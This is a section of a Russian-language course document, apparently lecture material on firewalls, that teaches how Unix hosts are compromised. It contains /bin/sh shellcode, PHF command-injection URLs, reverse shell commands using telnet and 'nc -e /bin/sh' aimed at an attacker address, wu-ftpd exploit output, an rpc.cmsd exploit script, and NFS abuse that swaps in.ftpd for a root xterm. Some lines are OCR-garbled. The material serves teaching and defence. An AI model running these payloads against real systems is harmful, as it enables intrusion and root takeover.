Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
4,6 Firewalls Общая информация и применение пер...doc
Скачиваний:
5
Добавлен:
01.04.2025
Размер:
4.61 Mб
Скачать

4.3.3.2 Взлом хоста с ос Unix

Подбор паролей

Подбор паролей остается одним из самых эффективных способов получения доступа к системе UNIX. Взлом путем перебора представляет собой не что иное, как подбор комбинации "идентификатор UID/пароль" для получения доступа к службе, которая до предоставления определенных привилегий выполняет аутентификацию пользователя. Среди самых популярных типов служб, которые чаще всего подвергаются подобным атакам можно выделить следующие.

  • telnet

  • FTP (File Transfer Protocol)

  • r-утилиты (rlogin, rsh и т.д.)

  • Secure Shell (ssh)

  • Имена доступа SNMP

  • POP (Post Office Protocol)

  • HTTP/HTTPS (Hyper Text Transport Protocol).

Среди многочисленных доступных утилит такого рода можно выделить следующие.

  • Brutus (http://www.hoobie.net/brutus/)

  • brute_web.c (http: //packetstorm.securify.com/

  • Exploit_Code_Archive/brute_web.с)

  • pop.с (http://packetstorm.securify.com/

  • groups/ADM/ADM-pop.c)

  • middlefinger (http://www.njh.com/latest/9709/970916-05.html) 

  • TeeNet (http://www.phenoelit.de/tn/)

Взлом путем переполнения буфера

Состояние переполнения буфера (buffer overflow) возникает тогда, когда пользователь или процесс пытается поместить в буфер (или массив фиксированного размера) данных больше, чем для этого выделено памяти программистом. Подобная ситуация зачастую связана с использованием таких функций языка С, как strcpy (), strcat () и sprintf (), а также ряда других. Переполнение буфера обычно приводит к генерации ошибки нарушения сегментации. Однако это состояние может вызываться преднамеренно с целью получения доступа к системе.

Допустим, для вводимых данных в программе выделяется буфер фиксированного размера 128 байт. Предположим, что этот буфер создается для размещения данных, поступающих от команды VRFY программы sendmail. Эта команда использовалась для того, чтобы установить потенциальных пользователей по их почтовым адресам. Предположим, что sendmail запущена в контексте прав SUID пользователя root и пользуется его привилегиями (во многих системах этот так и есть, хотя и не всегда). Что произойдет, если взломщик подключится к демону sendmail и отправит в качестве параметра команды VRFY строку состоящую из 1000 символов, а не короткое имя пользователя:

echo "vrfy 'perl -е 'print "a" x 1000''" |nс www.targetsystem.com 25

Поскольку буфер, предназначенный для хранения параметра VRFY, имеет размер всего 128 байт, возникнет ситуация его переполнения. Это может привести к генерации состояния DoS и аварийному завершению демона sendmail. Однако более опасными являются ситуации, когда программа, буфер которой переполнился, продолжает работать и выполняет при этом программный код, переданный ей в виде избыточных данных. Именно это и является основным смыслом рассматриваемой в данном разделе атаки.

Вместо того, чтобы отправлять бессмысленную строку, состоящую из 1000 символов, можно передать определенный набор кодов, который после переполнения буфера выполнит команду /bin/sh. Если sendmail работает с привилегиями суперпользователя, то после запуска /bin/sh взломщик сразу же сможет получить доступ в качестве суперпользователя.. В процессе взлома в качестве параметра команде VRFY передается строка, содержащая некоторый ассемблерный код, призванный вызвать переполнение буфера. При переполнении буфера адрес возврата переустанавливается на код, переданный злоумышленником, что позволяет последнему получить полный контроль над программой. Иными словами, вместо возврата управления из функции по нужному адресу выполняется некоторый код взломщика, передаваемый в этом же пакете данных и запускающий команду /bin/sh.

Следующий пример показывает, как выглядит машинный код, предназначенный переполнения буфера на платформе Linux X86.

char shellcode[]= "\xeb\xlf\x5e\x89\x76\x08\x31\xcO\

x88\x46\x07\x89\x46\xOc\xbO\xOb"

"\x89\xf3\x8d\x4e\x08\x8d\x56\xOc\xcd\

x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

Очевидно, что взлом с помощью переполнения буфера чрезвычайно опасен. Достаточно сказать, что он не раз использовался во многих успешных попытках получения несанкционированного доступа. Описание деталей процесса создания вредоносного кода для переполнения и средств автоматической генерации кода приводится в [18,19].

Взлом при отсутствии проверки ввода

Для осуществления взлома при отсутствии проверки ввода (input validation attack) необходимо, чтобы выполнялись следующие условия.

  • Программа не в состоянии распознать синтаксически некорректные данные.

  • Модуль воспринимает посторонние данные.

  • Модуль не в состоянии обработать ситуацию отсутствия определенных полей.

  • Возникает ошибка корреляции значений полей.

PHF— это сценарий CGI (Common Gateway Interface— интерфейс общего шлюза), ставший стандартом в ранних версиях Web-сервера Apache и сервера HTTPD центра NCSA (National Center for Supercomputing Applications - Национальный центр суперкомпьютерных приложений). Эта программа не в состоянии ни правильно провести синтаксический анализ входных данных ни проверить их пригодность. Исходная версия сценария PHF принимала символ новой строки (%0а) и выполняла следующие за ним команды с привилегиями пользователя, запустившего Web-сервер. Поэтому сразу же был изобретен метод взлома PHF, показанный ниже.

/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

Данный подход пригоден для проведения других взломов при отсутствии проверки ввода. В системе UNIX имеются метасимволы, зарезервированные для специальных целей. К таким метасимволам относятся следующие:

\ /<>!$% ^ & * | {}[]`"` ~ ;

Если программа (или сценарий CGI) принимает какие-то данные, вводимые пользователем, и не проверяет их корректность, то такая программа может подвергнуться взлому с помощью специально подобранного кода. Этот метод обычно называется "выбросом" (escaping out) в командную оболочку и позволяет передать в качестве параметра один из метасимволов UNIX. Данный подход очень распространен и не ограничивается одними лишь сценариями PHF. Имеются многочисленные примеры незащищенных программ CGI, входящих в базовый комплект поставки Web-серверов.

Интерактивный доступ к командной оболочке

Т радиционный метод получения интерактивного доступа к командной оболочке заключается в удаленной регистрации на сервере UNIX с помощью таких программ, как telnet, rlogin или ssh. Кроме того, можно выполнять команды, используя утилиты rsh, ssh, или rexec, не проходя этапа удаленной регистрации. Далее рассмотрены различные методы, с помощью которых взломщик может получить интерактивный доступ к командной оболочке UNIX. Эти методы иллюстрируются на Рис. 4.25.

Рис. 4.25. - Упрощенная архитектура демилитаризованной зоны

Пусть взломщик пытается получить доступ к Web-серверу, работающему под управлением операционной системы UNIX. Сервер находится в сегменте "демилитаризованной зоны" (DMZ). Тип и модель МЭ или маршрутизатора не имеют особого значения. Важно лишь понимать, что такое устройство относится к классу маршрутизирующих брандмауэров, которые не выполняют функций сервера-посредника ни для одной из служб. Пусть единственные службы, которая поддерживается брандмауэром, — это HTTP (порт 80) и HTTP поверх SSL (HTTPS) (порт 443). Теперь предположим, что Web-сервер не может противостоять попыткам взлома, например, основанным на изъяне PHF. Кроме того, пусть Web-сервер работает на уровне привилегий пользователя nobody, что является широко распространенной практикой и считается хорошим решением с точки зрения безопасности. Таким образом, если взломщику удастся проникнуть на Web-сервер, используя недостатки в обработке ввода PHF, он сможет выполнять код на сервере с уровнем привилегий пользователя nobody. Это, конечно, важно, но возможность запуска выполняемого кода — лишь первый шаг в получении интерактивного доступа к командной оболочке.

После того как взломщик получил возможность выполнять команды на Web-сервере, используя недостатки в реализации PHF, первым из методов, которыми он воспользуется для получения интерактивного доступа к командной оболочке, будет применение средств X Window системы UNIX (далее — просто X). X — это система оконного интерфейса, которая позволяет разным программам использовать один и тот же графический дисплей. Система X чрезвычайно устойчива и позволяет поддерживающим ее клиентным программам отображать свои результаты на локальном или на удаленном сервере X (с использованием портов 6000-6063). Один из самым удобных для взломщика инструментов в этом случае является клиентская программа xterm. Эта программа предназначена для запуска локальной командной оболочки, работающей под управлением X. Однако, применив параметр -display, взломщик может перенаправить командную оболочку на сервер X собственного компьютера.

Поскольку на Web-сервере взломщик может выполнять любые удаленные команды, то немного модифицированный вариант предыдущей команды позволит получить и интерактивный доступ к командной оболочке. Нужно заменить команду /bin/cat /etc/passwd командой /usr/X11R6/bin/xterm-ut -display наш_IР : 0.0, как показано ниже.

/cgi-bin/phf?Qalias=x%0a/usr/X11R6/bin/

xterm%20-ut%20-display наш_IР:0.0

Это приведет к тому, что удаленный сервер запустит xterm и выведет окно на X-сервере злоумышленника, имеющего указанный IP-адрес, с идентификатором окна 0 и идентификатором экрана 0. С этого момента в руках взломщика окажется полный контроль над целевым компьютером. Кроме того, из-за использования параметра -ut это событие не будет зарегистрировано системой.

Используемые в команде символы %20 представляют собой шестнадцатеричное представление символов пробела, с помощью которых параметры отделяются друг от друга. Таким образом, взломщик получил интерактивный доступ к командной оболочке без регистрации любой службой Web-сервера. В команде использован полный путь к исполняемому файлу xterm. Это сделано для того, чтобы обеспечить запуск программы независимо от того, правильно ли установлена переменная окружения PATH. Применение полного имени файла гарантирует безусловный запуск соответствующей программы.

Реверсивный сеанс telnet и обратные каналы

Удаление системы X, конечно же, повысит безопасность системы UNIX, но одного этого недостаточно, так как остается еще много других методов получения несанкционированного доступа.

Одним из таких методов является создание обратных каналов. В данном случае термин обратный канал (back channel) применяется для описания механизма, с помощью которого коммуникационный канал создается по направлению от взламываемого узла к компьютеру взломщика, а не наоборот, как при использовании обычных коммуникационных каналов. Поскольку все порты, кроме 80 и 443, блокируются брандмауэром, взломщик не может получить интерактивный доступ к командной оболочке обычным способом. Таким образом, злоумышленник должен добиться того, чтобы взламываемый сервер инициировал сеанс с его компьютером, т.е. создать обратный канал.

Для решения этой задачи можно воспользоваться несколькими методами. Первый из них, называемый реверсивный сеанс telnet, заключается в применении утилиты telnet для создания обратного канала от взламываемой системы к компьютеру взломщика. Название реверсивный сеанс telnet (reverse telnet) объясняется тем, что устанавливаемое с помощью команды telnet соединение инициализируется не системой взломщика, а системой, к которой он хочет получить доступ. В большинстве систем UNIX имеется клиент telnet и его использование практически никогда не ограничивается. Именно поэтому в тех случаях, когда программа xterm оказывается недоступной, telnet является вторым средством, которое можно применить для создания обратного канала. Чтобы с помощью команды telnet создать обратный канал, необходимо воспользоваться утилитой netcat (nc). Для того чтобы другой компьютер мог связаться с компьютером взломщика посредством утилиты telnet, необходимо, чтобы на последнем в режиме ожидания была запущена утилита nс, которая и обеспечит установку реверсивного соединения telnet. Для этого в двух отдельных окнах необходимо запустить на выполнение следующие команды.

[tsunami]! nc -I -n -v -p 80

listening on [any] 80

[tsunami]! nc -1 -n -v -p 25

listening on [any] 25

Прежде чем запускать утилиту nc, надо убедиться, что во взламывающей системе с входящими портами 80 и 25 не связано никаких служб, находящихся в режиме ожидания запросов, например HTTPD или sendmail. Если такие службы имеются, необходимо завершить выполнение соответствующих процессов с помощью команды kill, чтобы освободить требуемые порты для утилиты nc. Параметр -l означает, что утилиту пс необходимо запустить в режиме ожидания запросов; параметр -v включает режим вывода подробной информации; параметр -n указывает, что IP-адреса не нужно преобразовывать в имена узлов, а параметр -р определяет порт, который будет прослушиваться.

Для инициализации реверсивного соединения telnet на взламываемом сервере необходимо запустить следующую команду, действие которой основано на наличии уже известного изъяна PHF.

/bin/telnet IР_злоумышленника 80 | /bin/sh | /bin/telnet IР_злоумышленника 25

Данная команда, представленная в виде параметра PHF, выглядит следующим образом.

/cgi-bin/phf?Qalias=

x%0a/bin/telnet%20IP_xaкepa %2080%20I%20/bin/sh%20

|%20/bin/telnet%20IP_xaкepa%2025

Когда броузер передает Web-серверу данную строку, происходит следуещее.

С помощью команды /bin/telnet IР_злоумышленника 80 на взламываемом узле запускается telnet и подключается к порту 80 нашего компьютера. Это позволит вводить команды, которые будут выполняться удаленным компьютером. В соответствии со стандартными соглашениями ввода/вывода системы UNIX все, что будет набрано на клавиатуре, будет перенаправляться в качестве ввода командной оболочке Bourne (/bin/sh). Выводимые же результаты с помощью конвейера будут перенаправлены командой /bin/telnet по адресу IР_злоумышленника на порт 25. Все это вместе взятое и создаст реверсивный сеанс teinet-связи, отображаемый в двух окнах. Порты 80 и 25 выбраны из-за того, что большинство брандмауэров чаще всего разрешает их использовать для создания исходящих соединений. Однако можно выбрать и любые другие порты, лишь бы их использование для обмена данными не блокировались брандмауэром.

Второй метод создания обратного канала заключается в использовании самой утилиты nc. Для этого достаточно, чтобы программа nc уже присутствовала на сервере или могла быть помещена туда с помощью какого-либо механизма (например, через анонимный сеанс FTP). Nc можно найти в комплекте поставки многих бесплатных версий UNIX. Однако само присутствие nc на узле еще не означает, что ее можно сразу же использовать для создания обратного канала, поскольку нет никаких гарантий того, что она была скомпилирована с использованием директивы #def ine GAPING_SECURITY_HOLE, без которой параметр -е, используемый для создания обратного канала, применить не удастся.

Создание обратного канала с помощью утилиты nc состоит из двух этапов. Сначала необходимо выполнить следующую команду, которая впоследствии обеспечит взаимодействие с обратным каналом, созданным с использованием nс на взламываемом компьютере.

[tsunami]# nс -1 -n -v -p 80

После того как запущена утилита прослушивания, на удаленном узле необходимо выполнить следующую команду.

nс —е /bin/sh IР_злоумышленника 80

Данная команда, представленная в форме, требуемой для использования изъяна PHF, имеет следующий вид.

/cgi-bin/phf?Qalias=x%0a/bin/nc%20-

e%20/bin/sh%20IP_xaкepa%2080

Как только Web-сервер выполнит эту строку, с помощью утилиты nc будет создан обратный канал, который подключит командную оболочку (в данном случае — /bin/sh) к находящемуся в режиме ожидания компьютеру злоумышленника. Это обеспечит интерактивный доступ к командной оболочке, причем соединение будет установлено самой взламываемой системой.

TFTP

Протокол TFTP (Trivial File Transfer Protocol — простой протокол передачи файлов) обычно используется для загрузки бездисковых рабочих станций или сетевых устройств. таких как маршрутизаторы. TFTP - это основанный на UDP протокол, который использует порт 69 и характеризуется очень низким уровнем безопасности. Если сервер TFTP не настроен должным образом, это приводит к тому, что система без малейшего сопротивления позволяет скопировать файл /etc/passwd.

Многие последние версии TFTP по умолчанию настроены таким образом, что разрешают доступ только к каталогу /tftpboot. Это очень хорошая мера предосторожности, однако все же возможность получения файлов с диска взламываемого компьютера, пусть даже лишь из одного каталога /tftpboot, может угрожать безопасности. Например, злоумышленник может найти в нем важные конфигурационные файлы маршрутизаторов. имена которых обычно имеют вид <имя_узла_маршрутизатора> .cfg. Во многих случаях взломщик также сможет получить доступ к паролям маршрутизатора и строкам доступа SNMP.

FTP

В настоящее время протокол FTP (File Transfer Protocol), позволяющий обмениваться файлами с удаленными системами, является одним из наиболее популярных. Это одна из причин, по которым он часто используется для несанкционированного доступа к удаленным системам или скрытной записи файлов. Многие FTP-серверы разрешают анонимный доступ, т.е. позволяют подключаться любому пользователю без какой-либо аутентификации. Обычно при этом файловая система, доступная анонимному пользователю, ограничивается определенными каталогами. Однако иногда бывает так, что анонимный пользователь может получить доступ к любому каталогу и файлу системы. Это дает возможность взломщику найти важные конфигурационные файлы, прежде всего /etc/passwd. Многие FTP-серверы позволяют всем пользователям записывать информацию в свои каталоги. Например, взломщик может поместить файл .rhosts в личный каталог пользователя, чтобы впоследствии подключиться к системе с помощью утилиты rlogin.

Помимо риска, связанного с разрешением анонимных подключений, FTP-серверы могут создавать проблемы, возникающие при переполнении буфера. Одно из таких слабых мест характерно для систем, использующих для поддержки протокола FTP программу wu-ftpd 2.6.0 и ее более ранние версии [20]. Эта ошибка связана с неправильной проверкой аргументов в нескольких вызовах функций, обеспечивающих возможность использования на узле ограниченного набора команд. Однако при этом взломщик может применить специальные форматы вывода символов, используемые функцией printf () (%f, %p, %n и т.д.) и выполнить произвольный код с привилегиями root. Вот как выглядит такая атака, примененная к системе RedHat 6.2.

[thunder]# wugod -t 192.168.1.10 -sO

Target: 192.168.1.10 (ftp/<shellcode>):

RedHat 6.2 (?) with wuftpd

2.6.0(1) from rpm

Return Address: 0x08075844, AddrRetAddr:

Oxbfffb028, Shellcode: 152

loggin into system.

USER ftp

331 Guest login ok, send your complete e-mail address as password.

PASS <shellcode>

230-Next time please use your e-mail address as your password

230-for example: joe@thunder

230 Guest login ok, access restrictions apply.

STEP 2 : Skipping, magic number already exists:

[87,01:03,02:01,01:02,04]

STEP 3 : Checking if we can reach our

return address by format string

STEP 4 : Ptr address test: Oxbfffb028

(if it is not Oxbfffb028 ^С

me now)

STEP 5 : Sending code.,

this will take about 10 seconds. Press ^\

to leave shell

Linux shadow 2.2.14-5.0

#1 Tue Mar 7 21:07:39 EST 2000 1686 unknown

uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)

Таким образом, анонимного доступа к уязвимому FTP-серверу, который поддерживает выполнение определенных команд, вполне достаточно, чтобы получить доступ с правами root.

Еще один изъян в системе безопасности, обнаруженный в системе BSD еще в 1993 году, связан с демоном ftpd [21].

Службы удаленного вызова процедур (RPC)

Удаленный вызов процедур (RPC — Remote Procedure Call) - это механизм, который позволяет программе, работающей на одном компьютере, выполнять программный код на удаленном компьютере.

При запуске службы RPC регистрируются с помощью службы преобразования портов (portmapper). Для того чтобы установить связь со службой RPC, у службы portmapper необходимо запросить номер порта RPC.

Многие службы RPC работают на уровне привилегий суперпользователя root. Таким образом, успешный взлом путем переполнения буфера или при отсутствии проверки ввода приведет к немедленному получению доступа в качестве суперпользователя [22,23,24].

Даже если служба преобразования портов заблокирована, взломщик может вручную просканировать порты и попытаться выявить активные службы RPC (с помощью параметра -sR утилиты nmар), с которыми обычно связаны порты с большими номерами.

А таку на RPC позволяет упростить сценарий оболочки, в котором вызывается утилита cmsd. При этом необходимо знать имя удаленного узла. В рассматриваемом примере таким именем является quake. Кроме того, используется также IP-адрес этого узла, 192.168.1.11, а также тип системы (2), что эквивалентно системе Solaris 2.6, указывается IP-адрес компьютера взломщика (192 .168 .1.103) и установиливается обратный канал с использованием программы xterm (Рис. 4.26).

Рис. 4.26 - Окно xterm, появившееся в результате использования утилиты cmsd.

Этого же результата можно достигнуть при использовании служб rpc. ttdbserverd или rpc. statd

#!/bin/sh

if [ $# -It 4 ]; then

echo "Rpc.cmsd buffer overflow for

Solaris 2.5 & 2.6 7"

echo "If rpcinfo -p target_ip 1grep

100068 = true - you win!"

echo "Don't forget to xhost+ the target system"

echo ""

echo "Usage: $0 target_hostname target_ip <

0/S version (1-7)> your_ip"

exit 1

fi

echo "Executing exploit..."

cmsd -h $1 -c "/usr/openwin/bin/xterm -display

$4:0.0 &" $3 $2

NFS

Сетевая файловая система (NFS — Network File System) является одной из самых популярных файловых систем, предназначенных для поддержки сетевой обработки данных. Система NFS обеспечивает пользователям и приложениям прозрачный доступ к файлам и каталогам удаленных систем, как если бы эти файлы и каталоги были локальными. NFS была разработана компанией Sun Microsystems. В настоящее время система NFS версии 3 используется в большинстве современных клонов UNIX.

В сервере NFS (mountd) выявлено очень много потенциальных ошибок, приводящих к переполнению буфера. Кроме того, системой NFS используются службы RPC, что позволяет взломщикам смонтировать удаленную файловую систему. Большинство проблем, связанных с безопасностью NFS, имеет то или иное отношение к объектам, называемым дескрипторами файлов (file handle). Дескрипторы файлов - это уникальные маркеры, предназначенные для идентификации файлов и каталогов удаленного сервера.

Чаще всего проблемы с системой NFS связаны с ее неправильной настройкой, когда экспортирование файловой системы разрешено любому пользователю (everyone). Т.е., любой удаленный пользователь может смонтировать файловую систему, не проходя аутентификации. Далее приводится пример несанкционированного монтирования системы NFS.

Определяется, используется ли система NFS и какие файловые системы экспортируются (если таковые имеются):

[tsunami]# rpcinfo -p quake

program vers proto port

100000 4 tcp 111 rpcbind

100000 3 tcp 111 rpcbind

100000 2 tcp 111 rpcbind

100000 4 udp 111 rpcbind

100000 3 udp 111 rpcbind

100000 2 udp 111 rpcbind

100235 1 tcp 32771

100068 2 udp 32772

100068 3 udp 32772

100068 4 udp 32772

100068 5 udp 32772

100024 1 udp 32773 status

100024 1 tcp 32773 status

100083 1 tcp 32772

100021 1 udp 4045 nlockmgr

100021 2 udp 4045 nlockmgr

100021 3 udp 4045 nlockmgr

100021 4 udp 4045 nlockmgr

100021 1 tcp 4045 nlockmgr

100021 2 tcp 4045 nlockmgr

100021 3 tcp 4045 nlockmgr

100021 4 tcp 4045 nlockmgr

300598 1 udp 32780

300598 1 tcp 32775

805306368 1 udp 32780

805306368 1 tcp 32775

100249 1 udp 32781

100249 1 tcp 32776

1342177279 4 tcp 32777

1342177279 1 tcp 32777

1342177279 3 tcp 32777

1342177279 2 tcp 32777

100005 1 udp 32845 mountd

100005 2 udp 32845 mountd

100005 3 udp 32845 mountd

100005 1 tcp 32811 mountd

100005 2 tcp 32811 mountd

100005 3 tcp 32811 mountd

100003 2 udp 2049 nfs

100003 3 udp 2049 nfs

100227 2 udp 2049 nfs_acl

1C0227 3 udp 2049 nfs_acl

100003 2 tcp 2049 nfs

100003 3 tcp 2049 nfs

100227 2 tcp 2049 nfs_acl

100227 3 tcp 2049 nfs_acl

Обратившись к службе преобразования портов, на основе полученных результатов можно сделать вывод о том, что на удаленной системе запушены серверы NFS и mountd. Это означает, что данная система может экспортировать как минимум одну файловую систему.

[tsunami]# showmount -е quake

Export list for quake:

/ (everyone)

/usr (everyone)

Из результатов, полученных с помощью команды showmount, видно, что в рассматриваемом примере экспортируемыми является не только файловая система /usr, но и /, что связано с очень большим риском. Для получения доступа к такой системе нужно воспользоваться командой mount / или mount /usr. После этого взломщик получит доступ к любому файлу файловой системы / или /usr, в соответствии с разрешениями, заданными для файлов и каталогов.

[tsunami /root]# mount quake:/ /mnt

Другим, более удобным, инструментом исследования системы NFS является пакет nfsshell [25]. В состав пакета nfsshell входит клиент nfs. Этот клиент функционирует подобно клиенту FTP и позволяет манипулировать удаленной файловой системой.

Сначала нужно сообщить утилите nfs, файловую систему какого узла необходимо смонтировать:

nfs> host quake

Using a privileged port (1022)

Open quake (192.168.1.10) TCP

Затем можно узнать, какие файловые системы можно экспортировать.

nfs> export

Export list for quake:

/ everyone

/usr everyone

Теперь, чтобы получить доступ к файловой системе /, необходимо ее смонтировать.

nfs> mount /

Using a privileged port (1021)

Mount '/', TCP, transfer size 8192 bytes

Проверка состояния соединения и определим идентификатор UID, с которым была смонтирована файловая система.

nfs> status

User id : -2

Group id :-2

Remote host :'quake'

Mount path :' / '

Transfer size : 8192

Смонтированна файловая система / с идентификаторами UID и GID, равными -2. Из соображений безопасности, если монтируется удаленная система под суперпользователем root, идентификаторы UID и GID подменяются другими значениями, отличными от 0. Поскольку была смонтированна вся файловая система, теперь можно увидеть содержимое файла /etc/passwd.

nfs> cd /etc

nfs> cat passwd

root:x:0:1:Super-User:/:/sbin/sh

daemon:x:1:1::/:

bin:x:2:2::/usr/bin:

sys:x:3:3::/:

adm:x:4:4:Admin:/var/adm:

Ip:x:71:8:Line Printer Admin:/usr/spool/lp:

smtp:x:0:0:Mail Daemon User:/:

uucp:x:5:5:uucp Admin:/usr/lib/uucp:

nuucp:x:9:9:uucp

Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico

listen:x:37:4:Network Admin:/usr/net/nls:

nobody:x:60001:60001:Nobody: /:

noaccess:x:60002:60002:No Access User:/:

nobody4:x:65534:65534:SunOS 4.x Nobody:/:

gk:x:1001:10::/export/home/gk:/bin/sh

sm:x:lC03:10::/export/home/sm:/bin/sh

Итак, теперь нам известны имена пользователей и соответствующие им идентификаторы. Однако файл паролей является скрытым (shadowed), поэтому им нельзя воспользоваться для взлома паролей. Поскольку нельзя взломать ни одного пароля и, соответственно, нельзя смонтировать файловую систему в качестве суперпользователя, необходимо определить другие идентификаторы пользователей, которые позволяют получить привилегированный доступ. Таким пользователем может оказаться daemon, но лучше всего подойдёт bin, так как на многих системах пользователь bin является владельцем исполняемых файлов. Если взломщик сможет получить доступ к исполняемым файлам посредством системы NFS или каким-либо другим способом, ему нужно смонтировать систему /usr, изменить идентификаторы UID и GID, а затем попытаться получить доступ к исполняемым файлам.

nfs> mount /usr

Using a privileged port(1022)

Mount '/usr', TCP, transfer size 8192 bytes.

nfs> uid 2

nfs> gid 2

nfs> status

User id : 2

Group id : 2

Remote host: 'quake'

Mount path : '/usr'

Transfer size : 8192

Теперь взломщик обладает всеми привилегиями, которыми обладает пользователь bin на удаленной системе. В приведённом примере файловая система не была экспортирована с какими-то специальными параметрами, которые ограничивали бы возможности пользователя bin по созданию или модификации файлов. Поэтому можно запустить программу xterm или создать обратный канал к своей системе, который позволит получить доступ к взламываемой системе.

В файле in.ftpd на стороне злоумышленника создаётся следующий сценарий:

tt!/bin/sh

/usr/openwin/bin/xterm -display 10.10.10.10:0.0 &

Теперь нужно перейти в каталог /sbin удаленной системы и заменить исходный файл in.ftpd созданной версией.

nfs> cd /sbin

nfs> put in.ftpd

Необходимо указать, чтобы удаленный сервер подключился к Х-серверу узла злоумышленника с помощью команды xhost. Для этого нужно ввести следующие команды.

[tsunami]# xhost +quake

quake being added to access control list

[tsunami]# ftp quake

Connected to quake.

В результате выполнения всех этих действий система злоумышленника станет X-терминалом удаленного узла с привилегиями root. Ввиду того, что в системе файл in.ftpd вызывается из файла inetd с привилегиями суперпользователя, созданный сценарий также будет выполнен с этими привилегиями, что означает получение доступа в качестве суперпользователя.

# id

uid=0{root)gid=0(root)

#